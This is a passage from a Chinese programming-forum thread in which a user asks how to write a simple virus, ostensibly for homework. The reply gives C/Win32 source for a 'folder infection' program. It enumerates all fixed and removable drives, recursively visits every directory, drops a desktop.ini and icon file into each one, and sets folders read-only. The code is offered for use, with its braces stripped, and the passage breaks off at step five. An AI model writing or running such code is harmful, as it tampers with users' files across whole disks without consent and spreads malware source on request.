日期:2014-05-17  浏览次数:20905 次

编写病毒
请高手教我如何编写简单的病毒,最好用c/c++或java语言,只是为了完成作业,不会危害他人,谢谢

------解决方案--------------------
这里是个文件夹感染的范例程序,其实很简单,当然强大功能的病毒或木马远比这要复杂很多,看些书吧,windows核心编程,网络编程,加上黑客防线编程板块的那些内容就可以了。
 实现原理与步骤 
修改文件夹图标的方法就是 在文件夹中放入两个文件,它们分别是 Desktop.ini 和 一个ico文件然后在Desktop.ini中写入如下内容 
[.ShellClassInfo] 
IconFile=GouGe.ico 
IconIndex=0 
其中GouGe.ico就是你要显示的文件夹图标了这个名字是可以改的,主要步骤分为1.枚举磁盘2.枚举目录3.进行感染总的来说就是这3步了 
下面开始一个一个解析 
1.枚举磁盘 
int APIENTRY WinMain(HINSTANCE hInstance, 
HINSTANCE hPrevInstance, 
LPSTR lpCmdLine, 
int nCmdShow) 

for(char i='A';i<='Z';i++) 

char x[20]={i,':'}; 
UINT Type=GetDriveType(x); 
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘 

EnumDirectory(x);//进行感染 此函数下面介绍 


return 0; 

2.枚举目录 
bool EnumDirectory(TCHAR *dirpath) 

WIN32_FIND_DATA fd; 
TCHAR szTempFileFind[MAX_PATH] = { 0 }; 
bool bIsFinish = false; 
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA)); 
wsprintf(szTempFileFind, "%s\\*.*", dirpath); 
HANDLE hFind = FindFirstFile(szTempFileFind, &fd); 
if (hFind == INVALID_HANDLE_VALUE) 

return false; 

while (!bIsFinish) 

bIsFinish = (FindNextFile(hFind, &fd)) ? false : true; 
if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0)) 

TCHAR szFoundFileName[MAX_PATH] = { 0 }; 
strcpy(szFoundFileName, fd.cFileName); 
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 

TCHAR szTempDir[MAX_PATH] = { 0 }; 
wsprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName); 
Sleep(10); 
inject(szTempDir);//进行感染 此函数下面介绍 
EnumDirectory(szTempDir);//递归调用 



FindClose(hFind); 
return 0; 

此函数主要使用递归调用的方法对指定目录进行枚举,并感染,如果是文件则跳过 
3.进行感染 
void inject(char* path) 

char inifilepath[256]; 
char icofilepath[256]; 
strcpy(inifilepath,path); 
strcpy(icofilepath,path); 
strcat(inifilepath,"\\desktop.ini"); 
strcat(icofilepath,"\\LengFeng.ico"); 
WriteResourceToFile(icofilepath);//生成ICO文件 此函数下面介绍 
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY); 
WritePrivateProfileString(".ShellClassInfo","IconFile","LengFeng.ico",inifilepath);//写入INI 
WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);//写入INI 

此函数负责把ICO和INI文件写入指定目录ICO文件是由资源的方式加载并生成的,而INI文件则是动态写入的 
4.生成ICO文件 
bool WriteResourceToFile(char const *filename) 

HINSTANCE hInstance=GetModuleHandle(NULL); 
HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE)); 
HGLOBAL hgRes = LoadResource(hInstance, hResInfo); 
void *pvRes = LockResource(hgRes); 
DWORD cbRes = SizeofResource(hInstance, hResInfo); 
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); 
DWORD cbWritten; 
WriteFile(hFile, pvRes, cbRes, &cbWritten, 0); 
CloseHandle(hFile); 
return false; 

此函数中ID_ICO与RC_BINARYTYPE是自己定义的它们分别代码资源名称和资源类型 因为ICO是以资源的方式加载的那么如何在SDK的程序中 
加载资源呢?请看下面的实现
 5.SDK中加载资源 
如果你使用了VC或者BCB又或DELPHI那么